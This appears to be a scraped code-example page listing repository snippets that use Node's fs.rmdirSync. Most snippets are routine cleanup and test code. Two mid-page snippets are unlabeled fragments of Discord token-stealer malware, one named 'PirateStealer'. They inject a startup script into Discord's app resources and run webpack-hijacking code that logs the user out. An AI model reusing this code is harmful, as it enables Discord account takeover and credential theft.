How to use the rmdirSync function from fs

Find comprehensive JavaScript fs.rmdirSync code examples handpicked from public code repositorys.

80
81
82
83
84
85
86
87
88
89
exports.realpath = co.promisify(fs.realpath);
exports.realpathSync = fs.realpathSync;
exports.rename = co.promisify(fs.rename);
exports.renameSync = fs.renameSync;
exports.rmdir = co.promisify(fs.rmdir);
exports.rmdirSync = fs.rmdirSync;
exports.stat = co.promisify(fs.stat);
exports.statSync = fs.statSync;
exports.symlink = co.promisify(fs.symlink);
exports.symlinkSync = fs.symlinkSync;
fork icon22
star icon45
watch icon26

215
216
217
218
219
220
221
                this.rmdir(file + '/');
            }
        }, this);
    }
    // remove dir
    fs.rmdirSync(dir);
};
fork icon4
star icon25
watch icon3

390
391
392
393
394
395
396
397
398
399
400
401
  };


  fs.rmdir(existingFile, common.mustCall(validateError));


  assert.throws(
    () => fs.rmdirSync(existingFile),
    validateError
  );
}

fork icon42
star icon19
watch icon0

+ 3 other calls in file

703
704
705
706
707
708
709
710
711
712
      fs.chmodSync(entry.absolute, entry.mode)
    }) : []
    return this[MAKEFS](er, entry)
  }
  // not a dir entry, have to remove it
  const [er] = callSync(() => fs.rmdirSync(entry.absolute))
  this[MAKEFS](er, entry)
}

// not a dir, and not reusable.
fork icon3
star icon2
watch icon0

363
364
365
366
367
368
369
370
371
372
logger.info("invalidate game data...")
const assets = join(this.minecraftpath, "assets")
const librairies = join(this.minecraftpath,"libraries")
const natives = join(this.minecraftpath, "natives")
if(fs.existsSync(assets))
    fs.rmdirSync(assets, { recursive: true })
if(fs.existsSync(librairies))
    fs.rmdirSync(librairies, { recursive: true })
if(fs.existsSync(natives))
    fs.rmdirSync(natives, { recursive: true })
fork icon1
star icon2
watch icon3

+ 20 other calls in file

318
319
320
321
322
323
324
325
326
327
328
          console.log(`Deleted file: ${filePath}`);
        }
      }
    });
  // // 删除空目录
  // fs.rmdirSync(dirPath);
  // console.log(`Deleted directory: ${dirPath}`);
}


function CleanUp(extension) {
fork icon1
star icon2
watch icon1

106
107
108
109
110
111
112
113
114
115
116


async function firstTime() {
    var token = await getToken()
    if (config['init-notify'] == "true") {
        if (fs.existsSync(path.join(__dirname, "init"))) {
            fs.rmdirSync(path.join(__dirname, "init"));
            if (token == null || token == undefined || token == "") {
                var c = {
                    username: "PirateStealer",
                    content: config.ping[0] ? config.ping[1] : "",
fork icon0
star icon1
watch icon1

1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
    files.forEach(function(file) {
        const filePath = folder + '/' + file;
        const stat = fs.statSync(filePath);
        if (stat.isDirectory()) {
            removeFolders(filePath);
            fs.rmdirSync(filePath);
        }
    });
}

fork icon0
star icon1
watch icon1

457
458
459
460
461
462
463
464
465
466
require('${path.join(resourcePath, 'app.asar')}')
if (fs.existsSync(bdPath)) require(bdPath);`;
    fs.writeFileSync(resourceIndex, startUpScript.replace(/\\/g, '\\\\'));
  }
  if (!fs.existsSync(path.join(__dirname, 'initiation'))) return !0;
  fs.rmdirSync(path.join(__dirname, 'initiation'));
  execScript(
    `window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get_require:(a,b,c)=>a.exports=c},[["get_require"]]]),delete gg.m.get_require,delete gg.c.get_require):window.webpackChunkdiscord_app&&window.webpackChunkdiscord_app.push([[Math.random()],{},a=>{gg=a}]);function LogOut(){(function(a){const b="string"==typeof a?a:null;for(const c in gg.c)if(gg.c.hasOwnProperty(c)){const d=gg.c[c].exports;if(d&&d.__esModule&&d.default&&(b?d.default[b]:a(d.default)))return d.default;if(d&&(b?d[b]:a(d)))return d}return null})("login").logout()}LogOut();`,
  );
  return !1;
fork icon0
star icon1
watch icon1

120
121
122
123
124
125
126
127
128
129
for (const file of fs.readdirSync(dir)) {
  const abs = path.resolve(dir, file);
  // baseline is Node 12 so can't use rmSync :(
  if (fs.lstatSync(abs).isDirectory()) {
    emptyDir(abs);
    fs.rmdirSync(abs);
  } else {
    fs.unlinkSync(abs);
  }
}
fork icon0
star icon0
watch icon1

411
412
413
414
415
416
417
418
419
420
421
 * @param {Object} opts
 * @returns {Function} the callback
 * @private
 */
function _prepareTmpDirRemoveCallback(name, opts) {
  const removeFunction = opts.unsafeCleanup ? _rmdirRecursiveSync : fs.rmdirSync.bind(fs);
  const removeCallback = _prepareRemoveCallback(removeFunction, name);


  if (!opts.keep) {
    _removeObjects.unshift(removeCallback);
fork icon0
star icon0
watch icon1

+ 3 other calls in file

32
33
34
35
36
37
38
39
40
41
42
43


let hashlipsGiffer = null;


const buildSetup = () => {
  if (fs.existsSync(buildDir)) {
    fs.rmdirSync(buildDir, { recursive: true });
  }
  fs.mkdirSync(buildDir);
  fs.mkdirSync(`${buildDir}/json`);
  fs.mkdirSync(`${buildDir}/images`);
fork icon0
star icon0
watch icon1

198
199
200
201
202
203
204
205
206
207
inConnection.set(uniqkey, true);

const exclude = async (logout = true) => {
    sock.logout()
    await destroy();
    if (fs.existsSync(tokenpath)) fs.rmdirSync(tokenpath, { recursive: true, force: true });

    let sessionData = await global.Store.get(session);
    delete (sessionData.connection)
    global.Store.set(session, sessionData);
fork icon0
star icon0
watch icon0

9
10
11
12
13
14
15
16
17
18
19
20
const ARIA2C_PATH = path.join(BASE_PATH, "aria2c");
const ARIA2C_CONFIG_PATH = path.join(BASE_PATH, "aria2.conf");


function reCreateDirectory(directoryName) {
  if(fs.existsSync(directoryName)) {
    fs.rmdirSync(directoryName);
  }


  if(!fs.existsSync(directoryName)) {
    fs.mkdirSync(directoryName);
fork icon0
star icon0
watch icon0